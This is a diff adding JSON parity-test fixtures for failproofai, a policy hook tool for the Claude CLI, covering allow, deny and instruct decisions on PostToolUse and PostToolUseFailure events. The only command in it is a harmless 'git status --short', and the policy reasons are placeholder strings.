b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..53268172 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b4da6604 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b5b7fb0a --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5c5e889d --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8155540b --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..27952625 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e51ef7ad --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..21453bbc --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7dd79211 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4931a037 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..952c2b7e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..548a85ea --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..86c261d5 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ffa0928f --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..95549d46 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..804c4d31 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4e945763 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b27c960e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..89b138e2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": 